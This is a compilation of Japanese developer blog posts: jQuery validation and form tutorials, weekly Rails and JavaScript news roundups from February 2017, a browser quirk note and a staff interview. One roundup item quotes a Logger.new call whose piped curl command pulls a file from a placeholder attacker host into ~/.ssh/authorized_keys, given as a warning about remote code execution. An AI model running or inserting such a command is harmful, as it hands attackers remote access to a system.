JavaScriptの == は厳密な比較ではないので、 === を使う方が無難です(まさかりを投げられる)。

JavaScriptを使って、バリデーションしてみる

バリデーションを自力で全部やるのは辛いと思うので、素のHTMLで構成されたホームページとかだったとしても、jQuery-Validation-Engineみたいな便利なライブラリを積極的に使用することをお勧めしますけどね。

足りない機能をちょっと足すために、自力でそれっぽく動くコードを書くことはありました。

デモです。半角数字以外を入力すると、画面上の適当なところをクリックしたタイミングで注意されます。

インラインだと疑似要素が使えないので、似非jQuery-Validation-Engineになっちゃいました。提出時のバリデーションもanimate()を上手く使うと間違った項目まで移動させたりもできます。アニメグッズ専門店のことではないです。

半角数字を入力してね。

HTMLコード

<div style="position:relative;">
  半角数字を入力してね。<br>
  <div id="validation" style="opacity: 0.87; position: absolute; width: 230px; top:50px; left: 5px; visibility: hidden;">
    <div style="width: 100%; background: #c43939; position: relative; color: #fff; min-width: 120px; font-size: 11px; padding: 4px 10px 4px 10px; border-radius: 6px; cursor: pointer;">* 半角数字じゃないよ!</div>
  </div>
  <input type="text" name="number-input">
</div>

JavaScriptコード

$("input[name='number-input']").blur(function(){       // 対象のinputに入力されたら動作する
    if(!/^[0-9]+$/.test($(this).val())) {              // 正規表現でチェックします。正規表現を勉強すればバリデーションの幅が広がります
        $('#validation').css('visibility', 'visible'); //  validation用のdivの表示をCSSで制御します
    } else {
        $('#validation').css('visibility', 'hidden');
    }
});
$("#validation").on("click", function() {               // 表示したメッセージはクリックされると消えるようにする
    #(this).css('visibility', 'hidden');
}

!/^[0-9]+$/.test($(this).val() は !$(this).val().match(/^[0-9]+$/) と書いても同じような動作になります。

しかし、 .match() は、正規表現に一致する結果を含む配列を取得するか、一致しない場合はnull が返ってきます。

true or false を返す .test() の方が速いらしいし、バリデーションの目的には適してそうです。

書き方が逆になるので注意です(書き直す時に間違えた)。

JavaScriptを使って、フォームの記入欄を動的に追加、削除する

今回の記事の本編(のつもり)です。何気に大変じゃないですか?

業務外で軽い気持ちでやってみようとして涙目になりました。

入社間もない頃だったので、JavaScript慣れてないし継ぎ接ぎで汚くても動けばいいや、で終わっていたのでリファクタリングと言うかリベンジしてみました。

名前 フリガナ

HTMLコード

<table id="sample-form">
  <tr class="title">
    <th>名前</th>
    <th>フリガナ</th>
  </tr>
  <tr class="input">
    <td><input type="text" name="form1[0][name]"></td>
    <td><input type="text" name="form1[0][furigana]"></td>
  </tr>
</table>
<div style="text-align:center;">
  <button class="add-btn">記入欄を追加</button>
  <button class="delete-btn">記入欄を削除</button>
</div>

同様の記入欄が複数箇所あることを想定しているので、name属性は配列にしています。送った後は、$_POST[‘form1’][0][‘name’]とかで取り出します。

JavaScriptコード

$('.add-btn').click(function(){                                      // 追加ボタンが押されると実行
    $('#sample-form tr:eq(1)').clone().appendTo('#sample-form');     // 最初の記入欄を複製して最後に足す
        $('#sample-form tr:last-child input').each(function(){       // 複製した記入欄のinput部分をそれぞれ微調整する
            $(this).val('');                     // そのままだと最初の記入欄に記入した内容も複製されるので、初期化する
            count = $('#sample-form .input').length-1;               // 何人目の記入欄なのかを取得する
            $(this).attr('name',$(this).attr('name').replace('0',count));  // 正しい数字に置き換える
    });
});
$('.delete-btn').on('click', function() {                            // 削除ボタンが押されると実行
    if($('#sample-form .input').length > 1) {                        // 記入欄が全てなくならないようにチェックする
        $('#sample-form tr:last-child').remove();                    // 最後の記入欄を一つ消す。
    }
});

挿入する素材のテンプレートを用意して作ろうとすると、下手したら似たようなコードを別々で量産してしまうことになります。

フォームの記入欄を追加すると言うことは、複製する元になる素材は必ず存在している訳なので、clone()して、name属性等を微調整するのがシンプルだし共用できそうです。

ちなみに、↑のコードでは .click()と.on(‘click’,function()) の両方を同じ用途で使っています。

今回のコードだとどちらでも問題ないんですが、例えば削除ボタンを、それぞれの記入欄ごとに付けたい場合があると思います。

この場合、削除ボタンも後から複製することになるんですが、JavaScriptで動的に追加した要素はイベントのトリガーにはなれません。同じように書けばいいと思っていると、追加した削除ボタンが思い通りに動いてくれない場合があるので、注意してください(もちろん経験した)。

解決するには、最初から存在する親要素を先に絡めるのが重要です。

$(document).on('click','.delete-btn',function())

$('#sample-form').on('click','.delete-btn',function())

と書き始めると、追加した要素も動いてくれるはずです。

番外:アコーディオンメニュー編

jQueryを使って、アコーディオンメニューってHTML、CSS、JavaScriptあたりをまとめたWeb開発入門書の定番だったりしませんか?

何を隠そう、僕も入社前にフラッと買ってみた本でやりましたし。

まずは以下のデモを見ましょう。見出しをクリックすると、隠れていた項目が出てきます。

見出し1

  • 項目1-1
  • 項目1-2

見出し2

  • 項目2-1
  • 項目2-2
  • 項目2-3

HTMLのコード

<div>
  <p class="accordion" style="text-decoration: underline;">見出し1</p>
  <ul style="display:none;">
    <li>項目1-1</li>
    <li>項目1-2</li>
  </ul>
  <p class="accordion" style="text-decoration: underline;">見出し2</p>
  <ul style="display:none;">
    <li>項目2-1</li>
    <li>項目2-2</li>
    <li>項目2-3</li>
  </ul>
</div>

JavaScriptのコード

$(".accordion").on("click", function() {
    $(this).next("ul").slideToggle();
});

入門書では、slideUpとslideDownを使った記憶があったんですけど、slideToggleだけで書けると言う事実はちょっと衝撃的でした。短いコードの方が簡単そうですよね。

おわり

JavaScriptもいいですが、CSSアニメーションもそこそこ使えるようになりたいです。

週刊Railsウォッチ(20170210)JRubyやRubiniusの配列への追加はスレッドセーフではないほか

$
0
0

こんにちは、hachi8833です。今週はJavaScriptのニュースが目につきました。

V8 JavaScript エンジン5.7がリリース


v8project.blogspot.jpより

  • パフォーマンス向上
  • ES2015の改良
  • RegExpが15%高速化
  • ライブラリの新機能
  • WebAssemblyが有効になった
  • V8 APIをさらに追加

個人的にはRegExpの高速化が気になりました。早くJavaScriptの正規表現がPCRE並になって欲しいものです。

Railsでよく使われるtherubyracerではlibv8が使われていますが、以前に比べると随分安定するようになったとの声がありました。libv8でググると当時ハマった人たちの声が多数見つかります。

現時点のレンダリングエンジン/ブラウザごとのJavascript engineがどれなのかわかりにくかったのでまとめてみました。

Blink(Chrome、Opera)
V8
Gecko(Firefox)
SpiderMonkey
WebKit(Safari、 PhantomJS)
JavaScriptCore(Nitro)
Trident(IE、Edge)
Chakra(オープンソースのChakraCoreもある)

JavaScriptスプレッド演算子の技6種

JavaScriptのスプレッド演算子はたとえば以下のようなものです。

//javascript spread operator
var arr1 = ['two', 'three'];
var arr2 = ['one', ...arr1, 'four', 'five'];

Rubyでの*による配列展開と少し似た動作ですね。Rubyではスプラット演算子(splat operator)と呼ばれることもあります。

一同Rubyのスプラット演算子に慣れていることもあってJavaScriptのスプレッド演算子にどよめきの声がありました。Ruby(とPerl)では...といえば範囲演算子なので、JavaScriptのこの記法にはとまどいを感じる人も多かったようです。

morimorihogeさんがJavaScriptの演算子の優先順位をその場で調べたところ、...代入よりも低くなっていました

なお...という記法はJavaC++にもあるそうなので、これらが由来かもしれません。

ActiveRecord reflectionの改良にともなってscope_chainが非推奨に

tenderlove氏のPRがすっととおりました。map().flattenよりflatten_mapの方がいいよというどこかで見た追伸もありました。

なお社内で聞いてみたところ、scope_chainを使ったことのある人は見当たりませんでした。

miniTestでテスト実行中の警告表示オプションを追加

miniTestのテスト実行中にワーニングを表示するかどうかを-w--warnings)オプションで指定できるようになったとのことです。

ActiveRecord::SerializationTypeMismatchで、エラーの発生した属性を知らせるようになった

修正されたのはdeserializerではなくserializerでした。「エラーを出すのは普通deserializerでは?」と思って一同で追ってみると、serializerで処理できないデータをserializeしようとしたときのエラーでした。

なおActiveRecordのserializerで使われるデフォルトのcoder(データ形式)はyaml_columnです。

PostgreSQL向けのcolumn_definitions()クエリをシンプルに書き直して高速化

変更箇所ではサブクエリがLEFT JOINに修正されています。

through_proxyがリセットされないことがある問題を修正

コミットメッセージより:

has_one :throughアソシエーションをnilにするとthrough_recordはdestroyされるが、reloadresetを明示的に呼ぶまでthrough_proxyでの読み込み対象に含まれてしまう。

through_proxyがリセットされないと、destroyした読み込み対象がfrozenのままになり、新規レコード作成時にRuntimeError: Can't modify frozen hashが発生する。

RuntimeErrorエラー回避のため、create_through_recordでdestroyされたthrough_recordを再読込する必要がある。

Sidekiq 5.0.0beta1がリリース

Sidekiqはバックグラウンド処理で広く使われているgemです。Rails 5.0との相性が改良され、Ruby 2.2.2未満のサポートが終了しました。

リリースノートより

  • ジョブのログ出力やリトライをSidekiq::Processorで直接扱うようになる
  • Delayed Extension API(delay、delay_in、delay_until)がデフォルトで無効になる
  • quiet signalをUSR1からTSTPに変更してJRubyに対応
  • Rails 3.2とRuby 2.1のサポート終了
  • JSONが壊れている場合に即時終了

Sidekiqのオープンソース版gemLGPLなので普通に利用できますが、バッチやマルチプロセスといった機能は有料です。

resque gemで間に合うことも多いかもしれませんね。

Ruby Object Mapper(ROM)3.0がリリース

ROMは、ActiveRecordのO/Rマッピングのような感じでデータをオブジェクトとして扱うためのgemです。APIリストを見るとcsvyamlなどさまざまなデータに対応しています。

それにしても「ROM」という名前はググりにくいですね。

Lite Cable: Railsなしで動くActionCable実装

JavaScriptで書かれています。ActionCableのAPIだけ欲しいならRailsでやるより軽くてよいかもしれないという声もありました。

Lite Cableはオープンソースですが、製品版のAny Cableもあります。ページをスクロールしたときのマスコットの動きがかなりかわいくて、私の中で一気にポイント上がりました。


http://anycable.io/より

ActionCableはRails以外でも注目を集めているようです。みんなこういうのが欲しかったということなのかもしれません。

Rubyのnilを駆逐する2つの方法(スクリーンキャスト)

nilを使わずに書くコツを紹介しています。スクリーンキャストですが下にコードと解説があるので普通に読めます。

そういえばいっときnull安全という言葉が駆け巡ったり炎上したりしてました。

「Rubyistは割りとnilに寛容かも」「nilが飛んでくることに慣れすぎてしまうのも良し悪し」「Javaのnullと違ってRubyのnilオブジェクトだしずっとタチがよいよね」という声もありました。

Rubyのハッシュは2.4で3倍速くなってる

昨年の週刊Railsウォッチで取り上げた、Ruby 2.4のハッシュで導入されたオープンアドレス周りをがっつり解説しています。かなり歯ごたえありそうな記事です。


Behind the scenes of hash table performance in ruby 2.4より

Percona Migrator: MySQLマイグレーション用ActiveRecordアダプタ

Percona Toolkitに含まれているpt-online-schema-changeコマンドを使ってActive RecordでMySQLのスキーママイグレーションを支援するツールです。

RailsエンジニアがReactを学ぶべき理由

おぴによん記事です。リンク先にあるmatzとリチャード・ストールマンとおぼしきツーショットがコラになってることの方に注目が集まってました。以下はオリジナルです。


https://en.wikipedia.org/wiki/Yukihiro_Matsumoto#/media/File:Matz.jpgより

RubyのGIL(global interpreter lock)問題を考える

最初Learn how to achieve parallelism with Ruby MRI using I/O bound threadsにしようかと思ったのですが、同記事でリンクしていたこの記事の方がよかったのでこちらにしました。

同記事の「30秒でわかるGIL」より:

MRIにはGIL(global interpreter lock)と呼ばれるしくみがあり、Rubyコードの実行周りをロックする。これにより、マルチスレッドのコンテキストでは一度にひとつのスレッドしかRubyコードを実行できなくなる。
たとえば8コアのマシンで8つのスレッドが動作しているとすると、一度に1つのコアしか動かないことになる。GILはRuby内部を競合状態から守り、データの破損を防ぐためにある。

GILはGVL(Giant VM Lock)とも呼ばれます。

GILの例として、配列への追加が実装によってはスレッドセーフでないことが挙げられています。

# Nobody understands the GIL より
array = []

5.times.map do
  Thread.new do
    1000.times do
      array << nil
    end
  end
end.each(&:join)

puts array.size

結果、MRIは正常に動作(「5000」が出力)しましたが、JRubyとRubinius(rbx)は正常に動作しませんでした。


Nobody understands the GILより

私の環境でも同様の結果が得られました。

TechEmpowerのWebフレームワークベンチマーク

よくあるベンチマークサイトのようですが、聞いたこともないようなWebフレームワークやWebフレームワークと呼んでいいのかどうか迷うようなエントリが大量に並んでいます。眺めて首を傾げて楽しむ感じでしょうか。


TechEmpower: Web Framework Benchmark
より

上のサイトとは関係ありませんが、こんなツイートがありました。

Go言語の現状(2017年2月)

Go 1.8リリースを来週に控え、予定されている新機能などを紹介するスライドが公開されました。

スライドに出てきたSSAって何だろうと思ったら、静的単一代入のことでした。

今週は以上です。

関連記事

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Rails公式ニュース

Ruby Weekly

OpenRuby

RubyFlow

160928_1638_XvIP4h


週刊Railsウォッチ(20170217)Rails 4.2.8.rc2リリース、Ruby 2.4正規表現とActiveSupportのnormalizeほか

$
0
0

こんにちは、hachi8833です。週刊Railsウォッチの記事件数が増えて泣く泣く絞り込むことが増えてきました。それでは今週もいってみましょう。

臨時ニュース: JavaScriptのアドレス空間配置ランダム化を無効にする攻撃

morimorihogeさんがつい先ほどfetchしたニュースです。詳しくはリンク先をどうぞ。

HackerNewsでも元論文が上昇中のようです。

Rails 4.2.8.rc1リリース(Rails公式より)

Rails 4.2.8のRC1がリリースされました。問題がなければ2/25に正式版リリースとありますが、記事執筆時点ではまだ公開されていません

dirtyなレコードのロックが非推奨に(Rails公式より)

変更の結果は以下です。

# activerecord/lib/active_record/locking/pessimistic.rb
        if persisted?
          if changed?
            ActiveSupport::Deprecation.warn(<<-MSG.squish)
              Locking a record with unpersisted changes is deprecated and will raise an
              exception in Rails 5.2. Use `save` to persist the changes, or `reload` to
              discard them explicitly.
            MSG
          end
          reload(lock: lock)
        end
        self
      end

BPS Webチームのtakanekoさんから「そういえばdirtyなレコードはロックされていようといまいとアクセスすればSQLが発行されてしまうのでリロードされちゃいますね」と教わりました。

コールバック定義への文字列渡し(非推奨)が廃止に(Rails公式より)

以下のようにコールバックのifunlessオプションに文字列を渡すのは今後できなくなるそうです。

# Railsガイドより
class Order < ActiveRecord::Base
  before_save :normalize_card_number, if: "paid_with_card?"
end

PRのkamipoさんコメントで「今後コールバックに文字列を渡したらArgumentError出すようにする」とありました。

Webチームのtsunekawaさんの指摘で気づきましたが、廃止されるのはRails 5.2からなんですね。

「う、文字列渡し使ったことあるかも」という焦りの声がちらほらとありました。文字列を渡す方法はRailsガイドにも書かれていたオプションです。Rails 5.2へのアップグレードではチェックが必要になりそうですね。

ActiveRecord::Base.as_jsonでfrozenしたハッシュを渡せるようになった(Rails公式より)

修正clonedupに変えるだけというピンポイントにキモチイイものでした。clonedupの違いについて一同で速攻調べました。

dup はオブジェクトの内容, taint 情報をコピーし、 clone はそれに加えて freeze, 特異メソッドなどの情報も含めた完全な複製を作成します。
clone や dup は浅い(shallow)コピーであることに注意してください。
Rubyリファレンスマニュアルより

従来のcloneではfreezeが解除されなかったということですね。

RubyのUnicodeサポートについての記事(RubyFlowより)

“動くな! Unicode警察だッ”


Testing Ruby’s Unicode Supportより

「Ruby 2.4の正規表現でウムラウト付きäあたりの動作がおかしいゾ!」という記事ですが、いろいろとツッコミどころが多く、BPS社内で容赦なくマサカリが飛んできました。

  • "ä".dumpしたら"\"a\\u0308\""になるんだから、"ä".each_char.to_a["a", "̈"]になるのは正しいのでは?
  • このって結合文字だよね?
  • 単独文字と結合文字を一緒に扱ってYO!って言ってる?
  • それとも結合文字使っていることに気づかないまま大騒ぎしている?

ということで真に受けてはいけない記事でした。

最初に読んだとき、äはスウェーデン語などで使われているので、本当に問題ならずっと前に騒ぎになっていたのでは?と思ってしまいました。


日本語圏ではめったに着目されませんが、Unicodeの仕様では以下のどちらも許容されています(参考: Unicodeの基本コンセプト)。

  • ä: 単独のウムラウト付き(U+00E4
  • : 普通のaと結合用ウムラウト文字¨U+0308)の組み合わせ

これらの文字は、結合かどうかにかかわらず画面では1文字として表示されるので見ただけではわかりません。

↑上はRuby 2.4での結果です。

確かに、RailsのActiveSupportには#normalizeメソッドがしっかりありますね。ウムラウトはもちろん、後述のカタカナから分離した濁点・半濁点も正規化してくれます。

そういえばRDBMSのコレーション(collation)における単独äと結合äの扱いはいかにも実装に依存しそうですが、Unicodeの仕様どおりなのは果たしてどのRDBMSなのか、バイナリにしなくても区別する/しないを指定できるのかなどが気になってきます。

ついでに: 濁点・半濁点分離問題

日本語圏でこれと少し似ているのが、カタカナの半濁音「パピプペポ」が、変換のはずみで半濁点「U+309A」が「ハ゜ヒ゜フ゜ヘ゜ホ゜」のように分離してしまう問題です。濁点も同様です。

MacとWindows間でやりとりしたファイルの名前などでときどきこの問題が発生します。

しかもUnicodeの全角カタカナ半濁点には2種類あり、後者の結合用半濁点に変換されてしまうとブラウザ上などでは1文字として表示されるので目視で確認できず、より厄介です。

  • 半濁点(単独用): U+309C
  • 半濁点(結合用): U+309A — 単独で表示できない

参考

babaさんおすすめの一次資料はボリューム感たっぷりなので、別の機会に追ってみたいと思います。

Loggerにリモートコード実行(RCE)攻撃を仕掛ける(RubyFlowより)

昨年末の記事です。以下のようにLogger#newの引数にパイプ付きのcurlを食べさせると実行できてしまうという指摘です。即脆弱性につながるものではないにしても、Loggerといえどもファイルパスの引数に外部入力をそのまま食べさせるのはやめましょう。

# http://gavinmiller.io/2016/how-is-logger-susceptible-to-rce/ より
Logger.new("|curl http://attacker.url -o ~/.ssh/authorized_keys")

Gavin Miller氏のブログはRailsのセキュリティ関連の記事が多く、参考になります。

Hanami 1.0.0が4月にリリース予定

HanamiといえばRailsのオルタナティブとして東ヨーロッパ方面で人気のRubyベースのWebフレームワークです。日本の花見の季節に合わせてリリースしたいようです。

現時点のコミット数は1300台で、Railsの60,000台とは比較になりませんが、健闘しているようです。

Rubyで役立つデザインパターン13選(RubyFlowより)

BPS Webチームのオブジェクト伝道師kazzさん御用達ですね。GoFのデザインパターンは23ありますが、その中からRubyに向いた13のパターンを選んだそうです。

コード中心で説明が簡潔なのでとても読みやすいと思います。

Pront gem: 変更点のみに絞った高速コードレビュー(RubyFlowより)

gitのdiffを使ってrubocopflayを狙い撃ちでかけられるようです。GitLabやBitBucketのCIにも統合できるとあります。ランナーが豊富なのが目につきます。

Redisのデータでオートコンプリート


Autocomplete Using Redisより

オートコンプリートのデータを、データベースからLIKEで取り出す代わりにRedisから送り込むことで高速化する方法を解説しています。

RedisはKVS(key-value store)をメモリ上に構築するソフトウェアです。

pry-railsのプロンプトをenvironmentに合わせて自動切り替え(RubyFlowより)

紹介されているスクリプトを~/.pryrcに貼るだけで、pry-railsのプロンプトに現在のenvを表示してくれます。


phansch.netより

「これ便利かも!」という声があがりました。本番でコンソール作業中に.envを設定し忘れていてもこれならすぐ気づけそうです。

早速やってみました。う、表示が狭くなった…

人気gemランキングを読む(Ruby Weeklyより)

RubyGems.orgのランキング情報を解説しています。


Open-Source Software. What is in a poke?の「All Time data」より

ランキング上位なのに日本語記事がほとんどないgemがいくつかありますね。

git-deployはHeroku風にgit push production masterで簡単にデプロイできます。Railsに限らず広く使えるgemのようです。

一同でランキングを見ているとgonの人気も高いことに気づきました。gonはRailsからJSONをブラウザのJavaScriptに渡せるgemです。

これは私の推測ですが、gonのランキングがこんなに高いということは、RailsがバックエンドでJSがフロントという構成がかなり増えているということなのでしょうか。

i18n-active-record: i18nをActiveRecordベースで扱えるgem

Railsのi18n(国際化)といえば、config/locales/の下にロケールごとのymlファイルをずらりと並べて切り替えるという方法が主流ですが、ymlの代わりにActveRecord経由でデータベースに保存できるgemです。

# https://github.com/svenfuchs/i18n-active_record より
  class CreateTranslations < ActiveRecord::Migration
    def self.up
      create_table :translations do |t|
        t.string :locale
        t.string :key
        t.text   :value
        t.text   :interpolations
        t.boolean :is_proc, :default => false

        t.timestamps
      end
    end

    def self.down
      drop_table :translations
    end
  end

小規模であれば数個の.ymlファイルだけで何とかなったのが、規模が拡大するにつれて.ymlファイル間の一貫性が損なわれたり、特定の文言だけを数十言語に渡って一斉に串刺し更新するのが恐ろしく面倒になるというのは容易に想像がつきます。いつかはこういう日が来ます。

翻訳文字列をyml管理からデータベース管理に切り替えたい方は要チェックです。

リポジトリの最後にあるBEYOND YML FILES – DYNAMIC TRANSLATIONSも良記事です。ヨーロッパの小国では自国語だけでWebサービスを作ってもまるで稼げないので、国際化・多言語化は常に切実な問題です。

Rubyだけでできるデバッグ技(RubyFlowより)

簡単ながら良記事です。すべてRubyの機能だけを使うので、pry-debuggerなどが使えない状況で役に立ちそうです。もちろんpryで使ってもかまいません。

TechRacho記事『RubyのIRBやpryでメソッドの定義元をすっと調べる方法』でもご紹介した#methodメソッドを活用している例が多いですね。まだまだいろんなことができそうです。

なお、以下は著者もまだ方法を見つけられていないそうです。どなたかわかりますでしょうか?

takeover.sh: ssh経由でリブートなしでLinuxシステムをクリーンアップ・再インストール(HackerNewsより)

コード量が恐ろしく少ないのが特徴です。WARNINGと4回連続で書いてあります。チャレンジャー求む。

Stackoverflowでメンションが多かった書籍ベスト30(HackerNewsより)


www.dev-books.comより

栄えある1位は『Working Effectively with Legacy Code』でした。何と2004年の本です。

Working Effectively with Legacy Code (Robert C. Martin Series)

Working Effectively with Legacy Code (Robert C. Martin Series)

カテゴリ:Kindle版

発売日:2004-09-22


レガシーコード改善ガイド

レガシーコード改善ガイド

カテゴリ:Kindle版

発売日:2016-01-15


一同でランキングを見ていて、『JavaScript Good Parts』の内容が古くなってるらしいとの話が出たので、QuoraにあったQ&Aを貼っておきます。

JavaScript: The Good Parts ―「良いパーツ」によるベストプラクティス

著者/訳者:Douglas Crockford

出版社:オライリージャパン( 2008-12-22 )

定価:

Amazon価格:¥ 1,944

大型本 ( 198 ページ )

ISBN-10 : 4873113911

ISBN-13 : 9784873113913


書籍「ゼロから作るOS」(HackerNewsより)

文字どおりOSをゼロから作るという企画です。ハードウェア(電気)の知識も必要とあります。


『Operating System: From 0 to 1』p19より

ベータ版書籍をリンク先で無料でダウンロードできます。サンプルコードは記事執筆時点で3日前と、まだ湯気が立ってますね。

PythonリポジトリがGitHubに引っ越す(HackerNewsより)

今までGit化されていなかったとは知りませんでした。

週末一番使っているのは何よ?(HackerNewsより)


stackoverflow.blogより

StackOverflowのタグベースで分析しているので、プログラミング言語でないものもいろいろ混じってます。週末だから趣味、とは限らないのでいろいろと想像を巡らせてしまいます。


http://stackoverflow.blog/より

上のグラフはタグごとの質問数で、左上ほど週末に質問数が増えているようです。左上の頂上ではアセンブラとHaskellとOpenGLがトップを争っています。SharePointが左の下にさみしく落っこちているあたり、週末SharePointのつらさがしのばれます。(´・ω・`)

Go 1.8がリリース

予定どおりリリースされました。おめでとうございます。

詳しくはリリースノートをご覧ください。ガベージコレクションを含むパフォーマンスがいろいろと改善されたようです。

なお記事執筆時点ではまだhomebrew-coreには反映されていません。

今週は以上です。

関連記事

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Ruby 公式ニュース

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Hacker News

160928_1654_q6srdR

JavaScriptでElement.styleがnullになって焦った

$
0
0

JavaScriptで要素のstyleがnullになってしまう事態が発生しました。

// 正常
document.getElementsByTagName('p')[0].style
=> CSSStyleDeclaration {alignContent: "",…}

// あれ?
document.createElement('p').style
=> null

結論としては、Content-Typeがうっかりtext/xmlになっていたのが原因でした。

試してみましょう。

<?php
header('Content-Type: text/xml');
echo '<?xml version="1.0" encoding="UTF-8"?>';
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>sample</title></head>
<body><p>Hello</p></body>
</html>

コンソールからdocument.createElement('p').styleを入力すると、以下のようになりました。
Chrome以外では値が取れていません。

  • Chrome 46: CSSStyleDeclaration
  • IE11: undefined
  • Firefox 44: undefined
  • Safari 8: null

styleはDOM API CoreではなくCSS用拡張なので、XMLとして表示している場合には存在しなくて正常だと思うのですが、すべてのブラウザで表示上はHTMLモードであること、静的に存在する要素ではstyleが存在する(CSSStyleDeclarationが取得できる)ことから、気づくのに時間がかかった…

表示上はHTMLモードでAPI上はXMLモードみたいなこの挙動は仕様上どうなのでしょう、詳細調べてくれる親切な人がいたら歓迎です。

なお、HTMLの内容がXHTMLではない場合は、XMLエラーになります。xmlnsを指定しない場合は、XMLとして表示されます。

ちなみになんでtext/xmlになってしまったかというと、CocoaHTTPServerで何も設定しないでXHTMLを返したらそうなっていた、というのが原因です。

BPSスタッフインタビュー#2:matsuさん(2016卒新卒Webエンジニア)

$
0
0

 夏です

雑用担当アルバイトの片山です。大学の春学期が終わって、やることがアルバイトとビールを飲むことくらいしかなくなってしまいました。チャンネーとビーチでティーパーしたいです。

ちなみに8月を迎えて遂に僕の席が消えました。もうヤバイです。見知らぬ人が二人も増えていて、BPSでカースト最下位の僕には為す術がありません。床で執筆しています。

さて、僕の命綱たるBPSスタッフインタビュー企画ですが、かろうじて第二回を迎えることが出来ました。インタビューをお願いしても「今日はダメ」と恥ずかしそうに断る人ばかりなのでなかなか難しいですが、なんとかインタビューしてきましたのでお楽しみに。

今回は(も)新卒でBPSに入社された方です。

 インタビュー

–  まずはお名前を教えて下さい。

matsuです。

hito

↑恥ずかしさのあまり壁を私(片山)と間違えるmatsu氏。

–  はい。僕は片山です。ではまずお聞きしたいのですが、BPSでの職種は何ですか。

名刺上だとエンジニアです。

–  はい。具体的な仕事内容を教えて下さい。

WebチームでHTMLやCSSなどのフロント周りを担当しています。

  • 一日の仕事の流れはどのような感じですか?事細かくお願いします。

最初にその日一日の作業を確認してから仕事にかかります。そこからキリがよくなったら一時とか二時くらいに昼休みに入って一時間休憩します。そこから作業してあとは終わりです。

–  休憩時間は何をして過ごされるんでしょうか?

うーん。日によってまちまちです。
PUBスペースで新聞の見出しを見たり、ネットでニュースサイト見たり。あとは(PUBスペースで)席が一緒になった人とお話したりですね。

rokuro

↑あまり気合を感じないろくろ回しをしながら語るmatsu氏。

–  ほうほう。一昔前のサラリーマンみたいですね。では休日には何をして過ごされるんですか?趣味といいますか。

最近だとゲームやってますね。

–  お、ナウですね。ゲームは何をされるんですか。

ハースストーンってやつですね。

  •  は、ハーススポーン!?どんなやつなんですか?

カードゲームみたいなやつです。

–  といいますとブラウザゲーム的なやつですか?(※艦◯れをイメージ)

いや、イメージとしてはSTEAMに近いですね。バトルネットというサービスがあって、そこからやりたいゲームを選ぶって感じで。その中でブリザード社っていう会社が作ってるゲームがハースストーンです。バトルネットも確かブリザード社が運営してたと思います。

–  ほぉ〜。要はPSス◯アでソ◯ーブランドのゲーム売ってるようなイメージなんですね。STEAM以外にもそういうサービスがあるのを初めて知りました。勉強になります。あと、STEAM的ということはハードはPCだと思うんですが。

そうです。

–  ということはけっこういいヤツ(マシン)使ってるんじゃないですか。

ゲーム自体は最近はじめたんですけど、とりあえずスペックいいパソコン欲しくて。まぁゲームやるならやっぱりゲーミングPCになりますね。グラボやCPUなどはなんとなくいいモノを選びました。

–  スペックはどんな感じでしょう。

型番は忘れましたけどCPUはcore i7です。
で、グラボはGeforceのGTX970です。

–  お、いいですね〜。GTX970といいますとビデオメモリの3.5GB問題が話題ですがどうなんでしょう。

いや、特に問題を感じたことはないです。

–  そうなんですね。ちなみに会社のパソコンはどんなですか。

支給品なのでスペックは忘れました。

–  えっ。では キーボードやマウスその他デバイスには何かこだわりはありますか?

全部会社からの支給品なので特にありません。

–  はい。

あっ、でも最近はそろそろキーボードとマウスとかを変えたいですね。人間工学に基づきました〜的なやつ。

–  おお、いいですね。エルゴノミクスなやつですね。デバイスって選ぶの楽しいですよね。OSやブラウザ、エディタは何を使われてますか。

ブラウザは……特にこだわりないです。OSはubuntuですね。エディタは基本的にVimを使って作業してます。チームで周りの人が使っているので自分も使っているという感じで。こう言うと僕がこだわりのない人間みたいになってませんか?(笑)

–  いえとんでもないです。こだわりがないのもこだわりですよね。ubuntuはVirtual Boxか何かの上で動かされているんですか?

はい。ubuntuをWindows10上のVirtual Boxで動作させてます。

–  左様ですか。あと、どうでもいいんですけどEmacsには興味ありませんか?

特に、何もありません。コマンドとかもうVimで慣れてきてしまったので。

–  仕事では特にこだわりはないとのことですが好きなOSなどはありますか?

そうですね〜。うーん……正直好きなOSもクソも何もないですが……。あっでも最近はなんだかんだで慣れてきたのでWindowsよりもubuntuがいいですね。あとはOS Xでしょうか。いろいろコマンドが使えていいかなって。

desk

第一回とは打って変わってとても綺麗なデスク周りです。

–  あ〜UNIXライクなのにハマった感じなんですね。では最近何か悩みなどはありますか?

あーそうですねぇ……Java Scriptがちょっと苦手なことですね。苦手というよりかは今まで触ったことがなかったのでどんな関数があるのかな、とかがわからなくてやっぱり悩みます。

–  あーWeb系だとどうしても必要になりそうですし大変ですね。逆にこれは得意!という言語は何でしょうか?

そうですねぇ……CとMATLABです。大学で授業の一環としてやっただけなのでコンソールアプリケーション作ったり、計算結果出したりとかそのくらいまでですが。

–  ほうほうありがとうございます。話完全に変わるんですけどポケモン(Go)やってますか。

一応アプリ入れてやってみたんですけど、そこまでハマらなかったです。

–  引退ですか。

ゲーム性がそもそも合わなかったというか。やっぱりポケモンは草むらで戦わせて育てるというのがいいと思うんですよ。やっぱりルビーとかサファイアとかのマザーシップタイトルのほうが好きですね。自分でどうやって戦おうとか考えるのが好きです。

–  あぁなるほど。そういえばまた話が変わって、すごく真面目な方向に変わるんですけど、今後は将来的にどうしていきたいと考えていますか?

うーん……(長い沈黙)。コンテンツを後押し出来るような基盤を作れるようになれたらと思います。
BPSって電子書籍からコンテンツ事業にアプローチしている会社だと思うんですけど、電子書籍に限らず動画でもなんでも、何か面白いものを作って日本のコンテンツを後押しできたらと。

  •  ありがとうございます。あとは他になにか話したいことはありますか?(適当)

え、いやなにもないです。と思ったけど、最近電車通勤のときは小説読んでます。

  •  なにかオススメの本とかありますか?

それは片山さんにオススメの小説ってことでいいんですか?

  •  はい。

ジャンルとかはどんなのがいいですか?

  •  あー、サイバーパンクでお願いします。

えっと、サイバーパンクってどんなジャンルですか。

  •  マトリックスとか攻殻機動隊とかブレードランナーとか。

それじゃあ映画になっちゃうじゃないですか。アップルシードαとかいいんじゃないんですか。

  •  あ、この前全部見ました。でも僕個人的にはαよりエクスマキナの方が好きなんですよね。デュナン可愛いですし。あとサントラが凄いです。

あぁ……そうですか。ほかのジャンルは……。

